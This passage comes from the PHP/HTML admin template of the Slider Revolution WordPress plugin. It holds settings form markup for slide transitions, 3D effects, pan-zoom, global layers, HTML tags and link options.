								id="sltrans_in_motion_overlay" class="slideinput tos2 nosearchbox easyinit callEvent" data-evt="updateSlideAnimation" data-evtparam="tocustom"  data-r="slideChange.in.moo" data-theme="dark">
									<option value="none"><?php _e('None', 'revslider');?></option>
									<option value="partial"><?php _e('Partial', 'revslider');?></option>
									<option value="full"><?php _e('Full', 'revslider');?></option>
								</select>
							</row>
							<div id="sltrans_in_extensions_wrap"></div>
						</div>
					</div>
					<!-- SLIDE OUT TRANSFORMATIONS -->
					<div id="slideout_transsettings" class="group_transsettings" style="display:none">
						<div id="sltrans_out_full_wrap">							
							<!-- TRANSFORM OUT BASIC SETTINGS -->																		
							<longoption id="sltrans_in_auto_input_wrap"><label_a><?php _e('Use Auto Animation', 'revslider');?></label_a><input id="slidechangeouta" type="checkbox" class="easyinit slideinput callEvent" data-evt="updateSlideAnimation" data-evtparam="tocustom"  data-showhide="#sltrans_out_auto" data-showhidedep="false" data-r="slideChange.out.a"></longoption>
							<div id="sltrans_out_auto">
								<div class="div25"></div>
								<row class="direktrow" id="sltrans_out_rowcol_wrap">
									<onelong><label_a><?php _e('Cols', 'revslider');?></label_a><input id="sltrans_out_col" class="slideinput valueduekeyboard smallinput easyinit input_with_presets callEvent" data-evt="colrowslideanimchange" data-numeric="true" data-allowed="random,default" data-presets_text="$C$1!$C$2!$C$5!$C$10!$R$Random!$I$Default" data-presets_val="1!2!5!10!random!default!"  data-r="slideChange.out.col" data-evtparam="out.col" data-steps="0" data-min="1" data-max="500"  type="text"></onelong>
									<oneshort><label_a style="overflow:visible"><?php _e('Rows', 'revslider');?></label_a><input id="sltrans_out_row" class="slideinput valueduekeyboard smallinput easyinit input_with_presets callEvent" data-evt="colrowslideanimchange" data-numeric="true" data-allowed="random,default" data-presets_text="$C$1!$C$2!$C$5!$C$10!$R$Random!$I$Default" data-presets_val="1!2!5!10!random!default!"  data-evtparam="out.row" data-r="slideChange.out.row" data-steps="1" data-min="0" data-max="500"  type="text"></oneshort>
								</row>
								<div id="sltrans_out_ease_wrap"><label_a><?php _e('Ease', 'revslider');?></label_a><select id="sltrans_out_ease" class="slideinput tos2 nosearchbox easyinit easingSelect callEvent" data-evt="updateSlideAnimation" data-evtparam="tocustom"  data-r="slideChange.out.e" data-theme="dark"></select></div>
								<row class="direktrow">
									<onelong id="sltrans_out_mask_wrap"><label_a><?php _e('Mask', 'revslider');?></label_a><input type="checkbox" class="rsdyn_inp easyinit slideinput callEvent" data-evt="updateSlideAnimation" data-evtparam="tocustom"  data-r="slideChange.out.m"></onelong>
									<oneshort></oneshort>
								</row>							
								<row class="direktrow"  id="sltrans_out_xy_wrap">				
									<onelong class="dyn_inp_wrap" id="sltrans_out_x_wrap"><label_icon class="ui_x"></label_icon><input id="sltrans_out_x" class="rsdyn_inp slideinput valueduekeyboard smallinput easyinit input_with_presets callEvent" data-evt="updateSlideAnimation" data-evtparam="tocustom"  data-numeric="true" data-allowed="%,random,cycle,dir" data-presets_text="val - Standard!{min,max} - Random![val|val|val] - Cycles!(val) - Direction Based" data-presets_val="100%!{-20,20}![-50|50]!(100%)" data-r="slideChange.out.x" data-steps="1" data-min="-300" data-max="300" type="text"></onelong>
									<oneshort class="dyn_inp_wrap" id="sltrans_out_y_wrap"><label_icon class="ui_y"></label_icon><input id="sltrans_out_y" class="rsdyn_inp slideinput valueduekeyboard smallinput easyinit input_with_presets callEvent" data-evt="updateSlideAnimation" data-evtparam="tocustom"  data-numeric="true" data-allowed="%,random,cycle,dir" data-presets_text="val - Standard!{min,max} - Random![val|val|val] - Cycles!(val) - Direction Based" data-presets_val="100%!{-20,20}![-50|50]!(100%)" data-r="slideChange.out.y" data-steps="1" data-min="-300" data-max="300" type="text"></oneshort>						
								</row>
								<row class="direktrow"  id="sltrans_out_rzo_wrap">				
									<onelong class="dyn_inp_wrap" id="sltrans_out_rota_wrap"><label_icon class="ui_rotatez"></label_icon><input id="sltrans_out_rotation" class="rsdyn_inp slideinput valueduekeyboard smallinput easyinit input_with_presets callEvent" data-evt="updateSlideAnimation" data-evtparam="tocustom"  data-numeric="true" data-allowed="deg,random,cycle,dir" data-presets_text="deg - Standard!{min,max} - Random![val|val|val] - Cycles!(val) - Direction Based" data-presets_val="45deg!{-20,20}![-50|50]!(45deg)" data-r="slideChange.out.r" data-steps="45" type="text"></onelong>
									<oneshort id="sltrans_out_opa_wrap"><label_icon class="ui_opacity"></label_icon><input id="sltrans_out_fade" class="slideinput valueduekeyboard smallinput easyinit callEvent" data-evt="updateSlideAnimation" data-evtparam="tocustom"  data-numeric="true" data-allowed="." data-r="slideChange.out.o" data-steps="0.1" data-min="-3" data-max="1" type="text"></oneshort>
								</row>
								<row class="direktrow" id="sltrans_out_sxsy_wrap">
									<onelong class="dyn_inp_wrap" id="sltrans_out_sx_wrap"><label_icon class="ui_scalex"></label_icon><input id="sltrans_out_scalex" class="rsdyn_inp slideinput valueduekeyboard smallinput easyinit input_with_presets callEvent" data-evt="updateSlideAnimation" data-evtparam="tocustom"  data-numeric="true" data-allowed=".,random,cycle" data-presets_text="val - Standard!{min,max} - Random![val|val|val] - Cycles" data-presets_val="1.5!{0,3}![0.3|1.5]"  data-r="slideChange.out.sx" data-steps="0.1" data-min="0" data-max="500" type="text"></onelong>
									<oneshort class="dyn_inp_wrap" id="sltrans_out_sy_wrap"><label_icon class="ui_scaley"></label_icon><input id="sltrans_out_scaley" class="rsdyn_inp slideinput valueduekeyboard smallinput easyinit input_with_presets callEvent" data-evt="updateSlideAnimation" data-evtparam="tocustom"  data-numeric="true" data-allowed=".,random,cycle" data-presets_text="val - Standard!{min,max} - Random![val|val|val] - Cycles" data-presets_val="1.5!{0,3}![0.3|1.5]"  data-r="slideChange.out.sy" data-steps="0.1" data-min="0" data-max="500" type="text"></oneshort>						
								</row>
								<div id="sltrans_in_extensions_wrap">
								</div>							
							</div>								
						</div>
					</div>
					<!-- SLIDE FILTER TRANSFORMATIONS -->
					<div id="slidefilter_transsettings" class="group_transsettings" style="display:none">
						<div id="sltrans_filters_wrap">
							<div id="sltrans_in_filters_wrap">								
								<longoption id="sltrans_filter_input_wrap"><label_a><?php _e('Use Filter Effects', 'revslider');?></label_a><input id="slidechangefilteru" type="checkbox" class="easyinit slideinput callEvent" data-evt="updateSlideAnimation" data-evtparam="tocustom"  data-showhide="#sltrans_filter_sets" data-showhidedep="true" data-r="slideChange.filter.u"></longoption>						
								<div id="sltrans_filter_sets">
									<div class="div25"></div>
									<label_a><?php _e('Ease', 'revslider');?></label_a><select id="sltrans_filter_ease" class="slideinput tos2 nosearchbox easyinit callEvent" data-evt="updateSlideAnimation" data-evtparam="tocustom"  data-r="slideChange.filter.e" data-theme="dark">
										<option value="default"><?php _e('Default', 'revslider');?></option>
										<option value="late"><?php _e('Small Delay', 'revslider');?></option>
										<option value="late2"><?php _e('Middle Delay', 'revslider');?></option>
										<option value="late3"><?php _e('Large Delay', 'revslider');?></option>								
									</select><span class="linebreak"></span>												
									<row class="direktrow">
										<onelong><label_icon class="ui_blur"></label_icon><input id="slidechangefilterb" class="slideinput valueduekeyboard smallinput easyinit callEvent" data-evt="updateSlideAnimation" data-evtparam="tocustom"  data-numeric="true" data-allowed="px" data-min="0" data-max="100" data-r="slideChange.filter.b" type="text"></onelong>
										<oneshort><i class="label_icon material-icons inshort">filter_vintage</i><input id="slidechangefilters" class="slideinput valueduekeyboard smallinput easyinit callEvent" data-evt="updateSlideAnimation" data-evtparam="tocustom"  data-numeric="true" data-allowed="%,px" data-min="0" data-max="100" data-r="slideChange.filter.s" type="text"></oneshort>
									</row>
									<row class="direktrow">
										<onelong><label_icon class="ui_grayscale"></label_icon><input id="slidechangefilterg" class="slideinput valueduekeyboard smallinput easyinit callEvent" data-evt="updateSlideAnimation" data-evtparam="tocustom"  data-numeric="true" data-allowed="%" data-min="0" data-max="100" data-r="slideChange.filter.g" type="text"></onelong>
										<oneshort><label_icon class="ui_brightness"></label_icon><input id="slidechangefilterh" class="slideinput valueduekeyboard smallinput easyinit callEvent" data-evt="updateSlideAnimation" data-evtparam="tocustom" data-numeric="true" data-allowed="%" data-min="0" data-max="10000" data-r="slideChange.filter.h" type="text"></oneshort>
									</row>
									<row class="direktrow">
										<onelong><i class="label_icon material-icons">photo_filter</i><input id="slidechangefilterc" class="slideinput valueduekeyboard smallinput easyinit callEvent" data-evt="updateSlideAnimation" data-evtparam="tocustom" data-numeric="true" data-allowed="%,px" data-min="0" data-max="100" data-r="slideChange.filter.c" type="text"></onelong>
										<oneshort><i class="label_icon material-icons inshort">invert_colors</i><input id="slidechangefilteri" class="slideinput valueduekeyboard smallinput easyinit callEvent" data-evt="updateSlideAnimation" data-evtparam="tocustom" data-numeric="true" data-allowed="%,px" data-min="0" data-max="100" data-r="slideChange.filter.i" type="text"></oneshort>
									</row>								
								</div>									
							</div>				
						</div>
					</div>
					<!-- SLIDE 3D TRANSFORMATIONS -->
					<div id="slide3d_transsettings" class="group_transsettings" style="display:none">
						<div id="sltrans_3d_wrap">
							<div id="sltrans_in_3d_wrap">																
								<div id="sltrans_3d_sets">									
									<label_a><?php _e('3D Effect', 'revslider');?></label_a><select id="sltrans_3d_effect" class="slideinput tos2 nosearchbox easyinit callEvent" data-showprio="show" data-show="._3DST_*val*_SHOW" data-hide="._3DST_ALL"  data-evt="updateSlideAnimation" data-evtparam="tocustom"  data-r="slideChange.d3.f" data-theme="dark">
										<option value="none"><?php _e('None', 'revslider');?></option>
										<option value="cube"><?php _e('Cube', 'revslider');?></option>
										<option value="incube"><?php _e('In Cube', 'revslider');?></option>
										<option value="fly"><?php _e('Fly Out Throw In', 'revslider');?></option>								
										<option value="turn"><?php _e('Clap Out Clap In', 'revslider');?></option>								
									</select><span class="linebreak"></span>
									<label_a><?php _e('Direction', 'revslider');?></label_a><select id="sltrans_3d_dir" class="slideinput tos2 nosearchbox easyinit callEvent" data-evt="updateSlideAnimation" data-evtparam="tocustom"  data-r="slideChange.d3.d" data-theme="dark">
										<option value="horizontal"><?php _e('Horizontal', 'revslider');?></option>
										<option value="vertical"><?php _e('Vertical', 'revslider');?></option>										
									</select><span class="linebreak"></span>
									<label_a><?php _e('Ease', 'revslider');?></label_a><select id="sltrans_3d_ease" class="slideinput tos2 nosearchbox easyinit easingSelect callEvent" data-evt="updateSlideAnimation" data-evtparam="tocustom"  data-r="slideChange.d3.e" data-theme="dark"></select>
									<div class="_3DST_cube_SHOW _3DST_incube_SHOW _3DST_ALL">
										<div class="div25"></div>
										<label_a><?php _e('Side Color', 'revslider');?></label_a><input type="text" data-evt="updateSlideAnimation" data-evtparam="tocustom" data-editing="<?php _e('Background Wall Color', 'revslider');?>" name="slide_wall_bg_color" id="s_wall_bg_color" data-visible="true" class="my-color-field slideinput easyinit" data-r="slideChange.d3.c" data-mode="single">
									</div>
									<div class="_3DST_cube_SHOW _3DST_incube_SHOW _3DST_ALL _3DST_fly_SHOW">
										<div class="div25"></div>
										<label_a><?php _e('Z Distance', 'revslider');?></label_a><input id="slidechangedddz" class="slideinput valueduekeyboard smallinput easyinit callEvent" data-evt="updateSlideAnimation" data-evtparam="tocustom" data-numeric="true" data-allowed="" data-min="0" data-max="1000" data-r="slideChange.d3.z" type="text">
										<label_a><?php _e('Room Rotation', 'revslider');?></label_a><input id="slidechangedddroom" class="slideinput valueduekeyboard smallinput easyinit callEvent" data-evt="updateSlideAnimation" data-evtparam="tocustom" data-numeric="true" data-allowed="" data-min="-180" data-max="180" data-r="slideChange.d3.t" type="text">										
									</div>									
									<div class="_3DST_ALL _3DST_fly_SHOW">
										<div class="div25"></div>
										<label_a><?php _e('Z Rotation', 'revslider');?></label_a><input id="sltrans_3d_fdz" class="slideinput valueduekeyboard smallinput easyinit callEvent" data-evt="updateSlideAnimation" data-evtparam="tocustom" data-numeric="true" data-allowed="" data-min="-180" data-max="180" data-r="slideChange.d3.fz" type="text">
										<label_a><?php _e('Distance In', 'revslider');?></label_a><select id="sltrans_3d_fdi" class="slideinput tos2 nosearchbox easyinit callEvent" data-evt="updateSlideAnimation" data-evtparam="tocustom"  data-r="slideChange.d3.fdi" data-theme="dark">
											<option value="0.5"><?php _e('0.5', 'revslider');?></option>
											<option value="0.75"><?php _e('0.75', 'revslider');?></option>
											<option value="1"><?php _e('1', 'revslider');?></option>
											<option value="1.25"><?php _e('1.25', 'revslider');?></option>
											<option value="1.5"><?php _e('1.5', 'revslider');?></option>
											<option value="2"><?php _e('2', 'revslider');?></option>
										</select><span class="linebreak"></span>
										<label_a><?php _e('Distance Out', 'revslider');?></label_a><select id="sltrans_3d_fdo" class="slideinput tos2 nosearchbox easyinit callEvent" data-evt="updateSlideAnimation" data-evtparam="tocustom"  data-r="slideChange.d3.fdo" data-theme="dark">
											<option value="0.5"><?php _e('0.5', 'revslider');?></option>
											<option value="0.75"><?php _e('0.75', 'revslider');?></option>
											<option value="1"><?php _e('1', 'revslider');?></option>
											<option value="1.25"><?php _e('1.25', 'revslider');?></option>
											<option value="1.5"><?php _e('1.5', 'revslider');?></option>
											<option value="2"><?php _e('2', 'revslider');?></option>
										</select><span class="linebreak"></span>
									</div>
									<div class="div25"></div>
									<label_a><?php _e('Shadow Effect', 'revslider');?></label_a><input id="sl_ddd_shadow_u" type="checkbox" class="easyinit slideinput callEvent" data-evt="updateSlideAnimation" data-evtparam="tocustom"  data-showhide="#three3dcubeshadow" data-showhidedep="true" data-r="slideChange.d3.su">
									<div id="three3dcubeshadow">
										<label_a><?php _e('Min. Strength', 'revslider');?></label_a><input id="sl_ddd_shadow_min" class="slideinput valueduekeyboard smallinput easyinit callEvent" data-evt="updateSlideAnimation" data-evtparam="tocustom" data-numeric="true" data-allowed="" data-min="0" data-max="0.5" data-r="slideChange.d3.smi" type="text">
										<label_a><?php _e('Max. Strength', 'revslider');?></label_a><input id="sl_ddd_shadow_max" class="slideinput valueduekeyboard smallinput easyinit callEvent" data-evt="updateSlideAnimation" data-evtparam="tocustom" data-numeric="true" data-allowed="" data-min="0.5" data-max="1" data-r="slideChange.d3.sma" type="text">
										<label_a><?php _e('Limit at', 'revslider');?></label_a><input id="sl_ddd_shadow_limit" class="slideinput valueduekeyboard smallinput easyinit callEvent" data-evt="updateSlideAnimation" data-evtparam="tocustom" data-numeric="true" data-allowed="" data-min="0.2" data-max="1" data-r="slideChange.d3.sl" type="text">
										<label_a><?php _e('Shadow Color', 'revslider');?></label_a><input id="slide_shadow_color" type="text" data-evt="updateSlideAnimation" data-evtparam="tocustom" data-editing="<?php _e('Shadow Color', 'revslider');?>" name="slide_shadow_color"  data-visible="true" class="my-color-field slideinput easyinit" data-r="slideChange.d3.sc" data-mode="single">
									</div>
								</div>									
							</div>				
						</div>
					</div>
				</div>
			</div>

			<div id="form_sanimation_sframes_perf" class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">speed</i><?php _e('Performance', 'revslider');?></div>
				<div id="form_sanimation_sperform_innerwrap" class="collapsable">
					<row id="sltrans_dpr_wrap">
						<longoption id="sltrans_dpr"><label_a style="min-width:160px"><?php _e('Prioritize Performance', 'revslider');?></label_a><input id="slidechangedpr" type="checkbox" class="easyinit slideinput callEvent" data-evt="updateSlideAnimation" data-r="slideChange.adpr"></longoption>
					</row>
					<div class="div10"></div>
					<row class="direktrow">
						<labelhalf><i class="material-icons vmi">sms_failed</i></labelhalf>
						<contenthalf><div class="function_info"><?php _e('Win performance in complex transitions by reducing the image quality during animations', 'revslider');?></div></contenthalf>
					</row>
				</div>
			</div>
			<!-- ADVANCED SETTINGS FOR ANIMATION -->
			<div id="form_sanimation_sframes_alternates" class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">slow_motion_video</i><?php _e('Alternated Transitions', 'revslider');?></div>
				<div id="form_sanimation_sfalternates_innerwrap" class="collapsable">
					<div id="sanimation_sfalternates">
					</div>
					<div class="autosize rightbutton basic_action_button callEventButton" data-evt="addslidetransition"><i class="material-icons">add</i>Add Transition</div>
					<div class="div25"></div>
				</div>
			</div>
		</div>
	</div>
	<!-- END OF SLIDE ANIMATION SETTINGS-->


	<!-- SLIDE PAN ZOOM SETTINGS-->
	<div class="form_collector slide_settings_collector" data-type="slideconfig" data-pcontainer="#slide_settings" data-offset="#rev_builder_wrapper">
		<div id="form_slide_kenburn_outter"  class="formcontainer form_menu_inside collapsed" data-select="#gst_slide_3" >
			<!--<div class="collectortabwrap"><div id="collectortab_form_slide_transition" class="collectortab form_menu_inside" data-forms='["#form_slide_kenburn_outter"]'><?php _e('Ken Burns / Pan Zoom', 'revslider');?></div></div>			-->
			<!--<div class="form_intoaccordion"><i class="material-icons">arrow_drop_down</i></div>-->
			<!-- KEN BURN SETTINGS-->
			<div id="form_slidebg_kenburn" class="form_inner">
				<div id="sl_pz_innerheader" class="form_inner_header"><i class="material-icons">photo_filter</i><?php _e('Pan Zoom Settings', 'revslider');?></div>
				<div id="sl_pz_onoff" class="on_off_navig_wrap"><input type="checkbox"  data-evt="updateKenBurnBasics" id="sl_pz_set" data-showhide="#internal_kenburn_settings" data-showhidedep="true" class="slideinput easyinit" data-r="panzoom.set" /></div>
				<div id="kenburnissue" class="collapsable">
					<row class="direktrow">
						<labelhalf><i class="material-icons vmi">sms_failed</i></labelhalf>
						<contenthalf><div id="kenburnissue_info" class="function_info"><?php _e('Place the shortcode on the page or post where you want to show this module.', 'revslider');?></div></contenthalf>
					</row>
				</div>
				<div id="internal_kenburn_settings" class="collapsable" style="display:block !important">
					<div class="slidebg_image_settings slidebg_external_settings slide_bg_settings">
						<div id="ken_burn_bg_setting_on">
						</div>

						<row id="sl_pz_fs_fe" class="direktrow">
							<onelong id="sl_pz_fs_wrap"><label_a><?php _e('Zoom From', 'revslider');?></label_a><input data-allowed="%" data-numeric="true" data-evt="updateKenBurnSettings" data-evtparam="begin" id="sl_pz_fs" class="slideinput easyinit verysmallinput valueduekeyboard" data-min="0" data-max="1000" type="text" data-r="panzoom.fitStart"></onelong>
							<oneshort><label_a><?php _e('To', 'revslider');?></label_a><input data-allowed="%" data-numeric="true" data-evt="updateKenBurnSettings" data-evtparam="end" id="sl_pz_fe" class="slideinput easyinit verysmallinput valueduekeyboard" data-min="0" data-max="1000" type="text" data-r="panzoom.fitEnd"></oneshort>
						</row>

						<row id="sl_pz_xs_xe" class="direktrow">
							<onelong><label_a><?php _e('X From', 'revslider');?></label_a><input data-allowed="px" data-numeric="true" data-evt="updateKenBurnSettings" data-evtparam="begin" id="sl_pz_xs" class="slideinput easyinit verysmallinput valueduekeyboard" data-min="-1000" data-max="1000" type="text" data-r="panzoom.xStart"></onelong>
							<oneshort><label_a><?php _e('To', 'revslider');?></label_a><input data-allowed="px" data-numeric="true" data-evt="updateKenBurnSettings" data-evtparam="end" id="sl_pz_xe" class="slideinput easyinit verysmallinput valueduekeyboard" data-min="-1000" data-max="1000" type="text" data-r="panzoom.xEnd"></oneshort>
						</row>

						<row id="sl_pz_ys_ye" class="direktrow">
							<onelong><label_a><?php _e('Y From', 'revslider');?></label_a><input data-allowed="px" data-numeric="true" data-evt="updateKenBurnSettings" data-evtparam="begin" id="sl_pz_ys" class="slideinput easyinit verysmallinput valueduekeyboard" data-min="-1000" data-max="1000" type="text" data-r="panzoom.yStart"></onelong>
							<oneshort><label_a><?php _e('To', 'revslider');?></label_a><input data-allowed="px" data-numeric="true" data-evt="updateKenBurnSettings" data-evtparam="end" id="sl_pz_ye" class="slideinput easyinit verysmallinput valueduekeyboard" data-min="-1000" data-max="1000" type="text" data-r="panzoom.yEnd"></oneshort>
						</row>

						<row id="sl_pz_rs_re" class="direktrow">
							<onelong><label_a><?php _e('Rotate From', 'revslider');?></label_a><input data-allowed="deg" data-numeric="true" data-evt="updateKenBurnSettings" data-evtparam="begin" id="sl_pz_ro" class="slideinput easyinit verysmallinput valueduekeyboard" data-min="-2000" data-max="2000" type="text" data-r="panzoom.rotateStart"></onelong>
							<oneshort><label_a><?php _e('To', 'revslider');?></label_a><input data-allowed="deg" data-numeric="true" data-evt="updateKenBurnSettings" data-evtparam="end" id="sl_pz_re" class="slideinput easyinit verysmallinput valueduekeyboard" data-min="-2000" data-max="2000" type="text" data-r="panzoom.rotateEnd"></oneshort>
						</row>

						<row id="sl_pz_bs_be" class="direktrow">
							<onelong><label_a><?php _e('Blur From', 'revslider');?></label_a><input data-allowed="px" data-numeric="true" data-evt="updateKenBurnSettings" data-evtparam="begin" id="sl_pz_blurs" class="slideinput easyinit verysmallinput valueduekeyboard" data-min="0" data-max="100" type="text" data-r="panzoom.blurStart"></onelong>
							<oneshort><label_a><?php _e('To', 'revslider');?></label_a><input data-allowed="px" data-numeric="true" data-evt="updateKenBurnSettings" data-evtparam="end" id="sl_pz_blure" class="slideinput easyinit verysmallinput valueduekeyboard" data-min="0" data-max="100" type="text" data-r="panzoom.blurEnd"></oneshort>
						</row>

						<label_a><?php _e('Easing', 'revslider')?></label_a><select data-evt="updateKenBurnSettings" id="sl_pz_ease" class="slideinput tos2 nosearchbox easyinit" data-theme="dark" data-r="panzoom.ease"><option value="none">none</option><option value="power0.in">power0.in</option><option value="power0.inOut">power0.inOut</option><option value="power0.out">power0.out</option><option value="power1.in">power1.in</option><option value="power1.inOut">power1.inOut</option><option value="power1.out">power1.out</option><option value="power2.in">power2.in</option><option value="power2.inOut">power2.inOut</option><option value="power2.out">power2.out</option><option value="power3.in">power3.in</option><option value="power3.inOut">power3.inOut</option><option value="power3.out">power3.out</option><option value="power4.in">power4.in</option><option value="power4.inOut">power4.inOut</option><option value="power4.out">power4.out</option><option value="back.in">back.in</option><option value="back.inOut">back.inOut</option><option value="back.out">back.out</option><option value="bounce.in">bounce.in</option><option value="bounce.inOut">bounce.inOut</option><option value="bounce.out">bounce.out</option><option value="circ.in">circ.in</option><option value="circ.inOut">circ.inOut</option><option value="circ.out">circ.out</option><option value="elastic.in">elastic.in</option><option value="elastic.inOut">elastic.inOut</option><option value="elastic.out">elastic.out</option><option value="expo.in">expo.in</option><option value="expo.inOut">expo.inOut</option><option value="expo.out">expo.out</option><option value="sine.in">sine.in</option><option value="sine.inOut">sine.inOut</option><option value="sine.out">sine.out</option><option value="slow">slow</option></select><span class="linebreak"></span>
						<label_a><?php _e('Duration', 'revslider');?></label_a><input data-allowed="ms" data-numeric="true" data-evt="updateKenBurnSettings" id="sl_pz_dur" class="slideinput easyinit valueduekeyboard withsuffix" data-suffix="ms" data-min="0" data-max="1000000" type="text" data-r="panzoom.duration">
						<div id="kenburn_timeline"><div class="pz_timedone"></div><div class="pz_pin"></div></div>
						<div id="kenburn_simulator" data-states="play,stop" data-start_state="play" data-stop="previewKenBurn" data-stop_state="" data-stop_icon="stop" data-play="previewStopKenBurn"  data-play_state="" data-play_icon="play_arrow" class="basic_action_button onlyicon switch_button"><i class="switch_button_icon material-icons"></i><span class="switch_button_state"></span></div>
						<div data-evt="rewindKenBurn" class="basic_action_button callEventButton onlyicon"><i class="material-icons">rotate_left</i></div>


					</div>
				</div><!-- END OF COLLAPSABLE-->
			</div>
			<!--END OF KEN BURN SETTINGS -->
		</div>
	</div>

	<!-- SLIDE GLOBAL LAYERS SETTINGS -->
	<div id="gst_slide_10_outter" class="form_collector slide_settings_collector" data-type="slideconfig" data-pcontainer="#slide_settings" data-offset="#rev_builder_wrapper" data-collapsvisibles="true">
		<div id="form_slidestatic"  class="formcontainer form_menu_inside collapsed" data-select="#gst_slide_10" >
			<!-- HTML TAGS -->
			<div id="form_slidegeneral_timing" class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">album</i><?php _e('Global Layers', 'revslider');?></div>

				<div class="collapsable">
					<label_a><?php _e('Overflow', 'revslider');?></label_a><select id="sl_static_layers_overflow" class="slideinput tos2 easyinit" data-r="static.overflow" data-theme="dark">
						<option value="visible"><?php _e('Visible', 'revslider');?></option>
						<option value="hidden"><?php _e('Hidden', 'revslider');?></option>
					</select><span class="linebreak"></span>

					<label_a><?php _e('Z Position', 'revslider');?></label_a><select id="sl_static_layers_z_position" class="slideinput tos2 easyinit" data-r="static.position" data-theme="dark">
						<option value="front"><?php _e('Front', 'revslider');?></option>
						<option value="back"><?php _e('Back', 'revslider');?></option>
					</select><span class="linebreak"></span>

					<longoption><i class="material-icons">visibility</i><label_a><?php _e('Show Last Edited Slide', 'revslider');?></label_a><input type="checkbox"  id="sr_showhidelastedited" data-evt="showLastEditedSlideStatic" class="callEvent slideinput easyinit" data-r="static.lastEdited"/></longoption>
				</div>
			</div><!-- END OF HTML TAGS -->
		</div>
	</div><!-- END OF SLIDE GENERALS -->



	<!-- SLIDE GENERALS -->
	<div class="form_collector slide_settings_collector" data-type="slideconfig" data-pcontainer="#slide_settings" data-offset="#rev_builder_wrapper" data-collapsvisibles="true">
		<div id="form_slidegeneral"  class="formcontainer form_menu_inside collapsed" data-select="#gst_slide_4" >
			<!-- HTML TAGS -->
			<div id="form_slidegeneral_timing" class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">code</i><?php _e('Slide HTML Tags', 'revslider');?></div>
				<!--<div class="form_intoaccordion" data-trigger="#sl_fge_l1_1"><i class="material-icons">arrow_drop_down</i></div>-->

				<div class="collapsable">
					<label_a><?php _e('Class', 'revslider');?></label_a><input id="slide_ls_class" placeholder="Custom Slide Classes" class="slideinput easyinit" type="text" data-r="attributes.class"><span class="linebreak"></span>
					<label_a><?php _e('ID', 'revslider');?></label_a><input id="slide_ls_id" placeholder="Custom Slide ID" class="slideinput easyinit" type="text" data-r="attributes.id"><span class="linebreak"></span>
					<label_a><?php _e('HTML Data', 'revslider');?></label_a><textarea style="height:75px; line-height:20px;padding-top:5px" placeholder="i.e. data-min='12' data-custom='somevalue'" id="slide_ls_data" class="slideinput easyinit" type="text" data-r="attributes.data"></textarea>
					<label_a><?php _e('Deeplink Tag', 'revslider');?></label_a><input id="slide_ls_deeplink" class="slideinput easyinit" type="text" data-r="attributes.deeplink"><span class="linebreak"></span>
				</div>
			</div><!-- END OF HTML TAGS -->

			<!-- Link & Seo -->
			<div id="form_slidegeneral_linkseo" class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">link</i><?php _e('Link & Seo', 'revslider');?></div>
				<!--<div class="form_intoaccordion" data-trigger="#sl_fge_l1_3"><i class="material-icons">arrow_drop_down</i></div>-->

				<div class="collapsable">

					<label_a><?php _e('Slide Link', 'revslider');?></label_a><input type="checkbox"  id="sl_seo_set" class="slideinput easyinit" data-showhide="#slide_link_wrap" data-showhidedep="true" data-r="seo.set" /><span class="linebreak"></span>
					<div id="slide_link_wrap">
						<label_a><?php _e('Type', 'revslider');?></label_a><select data-theme="dark" id="slide_seo_type" class="slideinput tos2 nosearchbox easyinit"  data-r="seo.type" data-show="#slidelink_*val*_seo" data-hide=".slidelink_seo_subs">
							<option value="regular"><?php _e('Regular', 'revslider');?></option>
							<option value="slide"><?php _e('To Slide', 'revslider');?></option>
						</select><span class="linebreak"></span>
						<div class="slidelink_seo_subs" id="slidelink_regular_seo">
							<label_a><?php _e('URL', 'revslider');?></label_a><input placeholder="Enter URL to link to" id="slide_ls_link" class="slideinput easyinit" type="text" data-r="seo.link"><span class="linebreak"></span>
							<label_a><?php _e('Protocol', 'revslider');?></label_a><select data-theme="dark" id="slide_ls_url_help" class="slideinput tos2 nosearchbox easyinit"  data-r="seo.linkHelp">
								<option value="http"><?php _e('http://', 'revslider');?></option>
								<option value="https"><?php _e('https://', 'revslider');?></option>
								<option value="auto"><?php _e('Auto http / https', 'revslider');?></option>
								<option value="keep"><?php _e('Keep as it is', 'revslider');?></option>	
							</select>
							<label_a><?php _e('Target', 'revslider');?></label_a><select data-theme="dark" id="slide_ls_link_target" class="slideinput tos2 nosearchbox easyinit"  data-r="seo.target">
								<option value="_self"><?php _e('_self', 'revslider');?></option>
								<option value="_blank"><?php _e('_blank', 'revslider');?></option>
								<option value="_top"><?php _e('_top', 'revslider');?></option>
								<option value="_parent"><?php _e('_parent', 'revslider');?></option>														
							</select>							
						</div>
						<div class="slidelink_seo_subs" id="slidelink_slide_seo">
							<label_a><?php _e('Link to Slide', 'revslider');?></label_a><select data-theme="dark" id="slide_seo_linktoslide" class="slideinput tos2 nosearchbox easyinit"  data-r="seo.slideLink"></select><span class="linebreak"></span>
						</div>
						<label_a><?php _e('Sensibility', 'revslider');?></label_a><select data-theme="dark" id="slide_seo_z" class="slideinput tos2 nosearchbox easyinit"  data-r="seo.z">
							<option value="front"><?php _e('Over Layers (Front)', 'revslider');?></option>
							<option value="back"><?php _e('Behind Layers (Back)', 'revslider');?></option>
						</select>
						<label_a><?php _e('Tag', 'revslider');?></label_a><select data-theme="dark" id="slide_tag_type" class="slideinput tos2 nosearchbox easyinit"  data-r="seo.tag">
							<option value="l"><?php _e('&lt;RS-LAYER&gt;', 'revslider');?></option>
							<option value="a"><?php _e('&lt;A&gt;', 'revslider');?></option>
						</select>
					</div>
				</div>
			</div><!-- END OF Link & Seo -->


		</div>
	</div><!-- END OF SLIDE GENERALS -->

	<!-- SLIDE PROGRESS -->
	<div class="form_collector slide_settings_collector" data-type="slideconfig" data-pcontainer="#slide_settings" data-offset="#rev_builder_wrapper">
		<div id="form_slide_progress"  class="formcontainer form_menu_inside collapsed" data-select="#gst_slide_8" >
			<!-- PROGRESS -->
			<div id="form_slidegeneral_timing" class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">timer</i><?php _e('Progress', 'revslider');?></div>
				<!--<div class="form_intoaccordion" data-trigger="#sl_fge_l1_1"><i class="material-icons">arrow_drop_down</i></div>-->

				<div class="collapsable">
